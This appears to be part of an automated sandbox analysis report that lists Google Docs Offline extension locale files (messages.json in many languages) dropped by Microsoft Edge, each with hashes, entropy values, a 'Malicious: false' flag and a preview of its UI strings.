SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
